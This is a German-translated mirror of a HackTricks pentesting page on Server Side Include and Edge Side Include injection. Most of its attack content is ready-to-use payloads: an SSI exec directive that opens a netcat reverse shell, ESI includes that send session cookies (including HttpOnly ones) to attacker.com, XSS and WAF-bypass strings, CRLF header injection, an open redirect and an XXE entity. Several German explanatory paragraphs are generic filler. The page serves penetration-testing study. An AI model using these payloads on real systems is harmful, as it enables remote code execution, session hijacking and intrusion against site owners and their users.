Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-29 16:10:54 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md
Translator workflow 6af5d4e1a0 Translated to German
2024-02-10 15:36:32 +00:00

280 lines
18 KiB
Markdown
Raw Blame History

# Server Side Inclusion/Edge Side Inclusion Injection
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei oder folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories senden.**
</details>
## Grundlegende Informationen zur Server Side Inclusion
**(Einführung aus [Apache-Dokumentation](https://httpd.apache.org/docs/current/howto/ssi.html))**
SSI (Server Side Includes) sind Anweisungen, die in HTML-Seiten platziert werden und auf dem Server ausgewertet werden, während die Seiten bereitgestellt werden. Sie ermöglichen es Ihnen, dynamisch generierten Inhalt zu einer vorhandenen HTML-Seite hinzuzufügen, ohne die gesamte Seite über ein CGI-Programm oder eine andere dynamische Technologie bereitzustellen.\
Zum Beispiel könnten Sie eine Anweisung in eine vorhandene HTML-Seite einfügen, wie:
`<!--#echo var="DATE_LOCAL" -->`
Und wenn die Seite bereitgestellt wird, wird dieses Fragment ausgewertet und durch seinen Wert ersetzt:
`Dienstag, 15-Jan-2013 19:28:54 EST`
Die Entscheidung, wann SSI verwendet werden soll und wann Ihre Seite vollständig von einem Programm generiert werden soll, hängt normalerweise davon ab, wie viel von der Seite statisch ist und wie viel bei jedem Aufruf der Seite neu berechnet werden muss. SSI ist eine großartige Möglichkeit, kleine Informationsstücke hinzuzufügen, wie z.B. die aktuelle Uhrzeit - wie oben gezeigt. Wenn jedoch der Großteil Ihrer Seite zum Zeitpunkt der Bereitstellung generiert wird, müssen Sie nach einer anderen Lösung suchen.
Sie können das Vorhandensein von SSI ableiten, wenn die Webanwendung Dateien mit den Erweiterungen \*\* `.shtml`, `.shtm` oder `.stm`\*\* verwendet, aber das ist nicht immer der Fall.
Ein typischer SSI-Ausdruck hat das folgende Format:
```
<!--#directive param="value" -->
```
### Überprüfung
Um zu überprüfen, ob eine Webseite anfällig für Server Side Inclusion (SSI) oder Edge Side Inclusion (ESI) Injection ist, können Sie die folgenden Schritte ausführen:
1. **Quellcodeanalyse**: Überprüfen Sie den Quellcode der Webseite auf Anzeichen von SSI- oder ESI-Injektion. Suchen Sie nach Funktionen oder Methoden, die externe Inhalte einbinden oder dynamische Inhalte generieren.
2. **Parameterüberprüfung**: Identifizieren Sie alle Benutzereingaben, die in die Webseite eingefügt werden. Überprüfen Sie, ob diese Eingaben ordnungsgemäß validiert und bereinigt werden, um potenzielle Injektionen zu verhindern.
3. **Testen der Injektion**: Versuchen Sie, speziell gestaltete Eingaben einzufügen, um zu sehen, ob die Webseite anfällig für SSI- oder ESI-Injektion ist. Verwenden Sie verschiedene Techniken wie Nullbytes, Kommentare oder spezielle Zeichen, um die Injektion zu testen.
4. **Beobachten der Ausgabe**: Überprüfen Sie die Ausgabe der Webseite, um festzustellen, ob die injizierten Inhalte korrekt gerendert werden. Wenn Sie sehen, dass externe Inhalte oder dynamische Inhalte in die Webseite eingefügt werden, besteht möglicherweise eine Injektionsmöglichkeit.
5. **Exploit-Entwicklung**: Wenn Sie eine erfolgreiche Injektion gefunden haben, entwickeln Sie einen Exploit, um die Kontrolle über die Webseite zu erlangen oder Informationen zu extrahieren. Verwenden Sie geeignete Techniken wie Remote Code Execution (RCE) oder Directory Traversal, um das gewünschte Ergebnis zu erzielen.
Es ist wichtig zu beachten, dass das Ausnutzen von SSI- oder ESI-Injektionen ohne vorherige Zustimmung des Eigentümers der Webseite illegal ist. Führen Sie diese Überprüfungen nur auf autorisierten Systemen durch und halten Sie sich an die geltenden Gesetze und Vorschriften.
```javascript
// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->
// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->
// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->
```
## Edge Side Inclusion
Es gibt ein Problem beim **Cachen von Informationen oder dynamischen Anwendungen**, da sich der Inhalt beim nächsten Abrufen möglicherweise **verändert** hat. Hier kommt ESI ins Spiel, um mit ESI-Tags den **dynamischen Inhalt zu kennzeichnen, der vor dem Senden der Cache-Version generiert werden muss**. Wenn ein **Angreifer** in der Lage ist, ein ESI-Tag in den Cache-Inhalt einzufügen, kann er beliebigen Inhalt in das Dokument einschleusen, bevor es an die Benutzer gesendet wird.
### ESI-Erkennung
Der folgende **Header** in einer Antwort vom Server bedeutet, dass der Server ESI verwendet:
```
Surrogate-Control: content="ESI/1.0"
```
Wenn Sie diesen Header nicht finden können, verwendet der Server möglicherweise trotzdem ESI.\
Es kann auch ein blinder Ausbeutungsansatz verwendet werden, da eine Anfrage an den Server des Angreifers gesendet werden sollte:
```javascript
// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable
// Blind detection
<esi:include src=http://attacker.com>
// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>
// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">
// Valid for Akamai, sends debug information in the response
<esi:debug/>
```
### ESI-Ausnutzung
[GoSecure hat](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) eine Tabelle erstellt, um mögliche Angriffe zu verstehen, die wir gegen verschiedene ESI-fähige Software ausprobieren können, abhängig von der unterstützten Funktionalität:
* **Includes**: Unterstützt die `<esi:includes>`-Anweisung
* **Vars**: Unterstützt die `<esi:vars>`-Anweisung. Nützlich zum Umgehen von XSS-Filtern
* **Cookie**: Dokument-Cookies sind für den ESI-Engine zugänglich
* **Upstream-Header erforderlich**: Surrogat-Anwendungen verarbeiten ESI-Anweisungen nur, wenn die Upstream-Anwendung die Header bereitstellt
* **Host-Whitelist**: In diesem Fall sind ESI-Includes nur von zugelassenen Serverhosts möglich, sodass beispielsweise SSRF nur gegen diese Hosts möglich ist
| **Software** | **Includes** | **Vars** | **Cookies** | **Upstream-Header erforderlich** | **Host-Whitelist** |
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
| Squid3 | Ja | Ja | Ja | Ja | Nein |
| Varnish Cache | Ja | Nein | Nein | Ja | Ja |
| Fastly | Ja | Nein | Nein | Nein | Ja |
| Akamai ESI Test Server (ETS) | Ja | Ja | Ja | Nein | Nein |
| NodeJS esi | Ja | Ja | Ja | Nein | Nein |
| NodeJS nodesi | Ja | Nein | Nein | Nein | Optional |
#### XSS
Die folgende ESI-Anweisung lädt eine beliebige Datei in die Antwort des Servers.
```xml
<esi:include src=http://attacker.com/xss.html>
```
#### Umgehung des XSS-Schutzes auf Clientseite
Eine Möglichkeit, den XSS-Schutz auf Clientseite zu umgehen, besteht darin, spezielle Techniken zu verwenden, um schädlichen Code einzufügen, der normalerweise vom XSS-Filter blockiert würde. Hier sind einige gängige Methoden, um den Client XSS-Schutz zu umgehen:
1. **HTML-Entitäten**: Durch die Verwendung von HTML-Entitäten können Sie Sonderzeichen in harmlose Zeichen umwandeln, die vom XSS-Filter nicht erkannt werden. Zum Beispiel kann das Zeichen `<` durch `&lt;` ersetzt werden.
2. **JavaScript Escape-Sequenzen**: Durch die Verwendung von JavaScript Escape-Sequenzen können Sie Sonderzeichen in harmlose Zeichen umwandeln. Zum Beispiel kann das Zeichen `<` durch `\x3c` ersetzt werden.
3. **DOM-basierte XSS**: Anstatt schädlichen Code direkt in den HTML-Code einzufügen, können Sie JavaScript verwenden, um den DOM (Document Object Model) zu manipulieren und schädlichen Code einzufügen.
4. **Polyglot-Payloads**: Polyglot-Payloads sind speziell entwickelte Payloads, die sowohl als JavaScript- als auch als HTML-Code interpretiert werden können. Durch die Verwendung solcher Payloads können Sie den XSS-Filter umgehen.
Es ist wichtig zu beachten, dass das Umgehen des XSS-Schutzes auf Clientseite eine ethisch fragwürdige Handlung ist und nur zu Schulungszwecken oder mit ausdrücklicher Zustimmung des Eigentümers des Systems durchgeführt werden sollte.
```xml
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
```
#### Cookie stehlen
* Ferngesteuertes Stehlen von Cookies
```xml
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
```
* Stiehle das HTTP\_ONLY-Cookie mit XSS, indem du es in der Antwort reflektierst:
```bash
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
# It's possible to put more complex JS code to steal cookies or perform actions
```
#### Private lokale Datei
Verwechseln Sie dies nicht mit einer "Lokalen Dateieinbindung":
```markup
<esi:include src="secret.txt">
```
#### CRLF
CRLF steht für Carriage Return Line Feed und bezieht sich auf die Zeichenfolge "\r\n". Es handelt sich um eine Kombination aus einem Wagenrücklauf (CR) und einem Zeilenumbruch (LF). In einigen Betriebssystemen wird CRLF verwendet, um den Zeilenumbruch in Textdateien zu kennzeichnen.
CRLF-Injektion tritt auf, wenn ein Angreifer die CRLF-Sequenz in eine Anwendung einschleust, um unerwünschte Auswirkungen zu erzielen. Dies kann dazu führen, dass der Angreifer HTTP-Header manipuliert, um beispielsweise Cross-Site Scripting (XSS) oder HTTP Response Splitting-Angriffe durchzuführen.
Ein Beispiel für eine CRLF-Injektion ist das Einfügen von "%0D%0A" in eine URL, um einen Zeilenumbruch in den HTTP-Header einzufügen. Dadurch kann der Angreifer den Header manipulieren und bösartigen Code einschleusen.
Um CRLF-Injektionen zu verhindern, sollten Eingaben validiert und bereinigt werden, bevor sie in HTTP-Header oder andere Ausgabekanäle eingefügt werden. Es ist auch wichtig, sicherzustellen, dass die Anwendung keine unsicheren Zeichenfolgen akzeptiert, die CRLF-Sequenzen enthalten könnten.
Die CRLF-Injektion ist eine weit verbreitete Sicherheitslücke, die von Angreifern ausgenutzt werden kann, um verschiedene Arten von Angriffen durchzuführen. Es ist wichtig, sich dieser Schwachstelle bewusst zu sein und geeignete Maßnahmen zu ergreifen, um sie zu verhindern.
```markup
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```
#### Offene Weiterleitung
Das Folgende fügt einen `Location`-Header zur Antwort hinzu.
```bash
<!--esi $add_header('Location','http://attacker.com') -->
```
#### Header hinzufügen
* Fügen Sie einen Header in den erzwungenen Request hinzu
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
```
* Füge einen Header in der Antwort hinzu (nützlich, um "Content-Type: text/json" in einer Antwort mit XSS zu umgehen)
```bash
<!--esi/$add_header('Content-Type','text/html')/-->
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
# Check the number of url_decode to know how many times you can URL encode the value
```
#### CRLF in Header hinzufügen (**CVE-2019-2438)**
Eine CRLF-Injektion (Carriage Return Line Feed) tritt auf, wenn ein Angreifer in der Lage ist, Steuerzeichen wie Zeilenumbrüche in HTTP-Headern einzufügen. Dies kann zu verschiedenen Angriffen führen, einschließlich HTTP Response Splitting und Cross-Site Scripting (XSS).
Die CVE-2019-2438 ist eine Sicherheitslücke, die es einem Angreifer ermöglicht, CRLF-Injektionen zu nutzen, um schädlichen Code einzufügen oder HTTP-Header zu manipulieren. Dies kann zu einer Vielzahl von Angriffen führen, einschließlich der Umleitung von Benutzern auf bösartige Websites oder dem Diebstahl von Sitzungscookies.
Um diese Sicherheitslücke zu beheben, sollten Entwickler sicherstellen, dass alle Benutzereingaben ordnungsgemäß validiert und bereinigt werden, bevor sie in HTTP-Headern verwendet werden. Es ist auch wichtig, die neuesten Sicherheitsupdates und Patches für die verwendete Software zu installieren, um bekannte Schwachstellen zu beheben.
Es ist ratsam, regelmäßig Sicherheitsaudits durchzuführen, um potenzielle CRLF-Injektionen und andere Sicherheitslücken zu identifizieren und zu beheben. Durch eine proaktive Herangehensweise an die Sicherheit können Entwickler und Unternehmen ihre Systeme vor Angriffen schützen und die Vertraulichkeit und Integrität ihrer Daten gewährleisten.
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
```
#### Akamai Debug
Dies sendet Debug-Informationen, die in der Antwort enthalten sind:
```xml
<esi:debug/>
```
### ESI + XSLT = XXE
Durch die Angabe des `xslt`-Werts für den _dca_-Parameter ist es möglich, **`eXtensible Stylesheet Language Transformations (XSLT)`** basierte ESI einzuschließen. Die Inklusion führt dazu, dass der HTTP-Surrogat die XML- und XSLT-Dateien abruft, wobei letztere die ersteren filtern. Solche XML-Dateien sind anfällig für _XML External Entity (XXE)_-Angriffe, die es Angreifern ermöglichen, SSRF-Angriffe auszuführen. Die Nützlichkeit dieses Ansatzes ist jedoch begrenzt, da ESI bereits als SSRF-Vektor dient. Aufgrund des fehlenden Supports in der zugrunde liegenden Xalan-Bibliothek werden externe DTDs nicht verarbeitet, was die Extraktion lokaler Dateien verhindert.
```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
XSLT-Datei:
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
```
Überprüfen Sie die XSLT-Seite:
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
{% endcontent-ref %}
### Referenzen
* [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
* [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
* [https://academy.hackthebox.com/module/145/section/1304](https://academy.hackthebox.com/module/145/section/1304)
* [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
## Brute-Force-Erkennungsliste
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
</details>
Reference in a new issue View git blame Copy permalink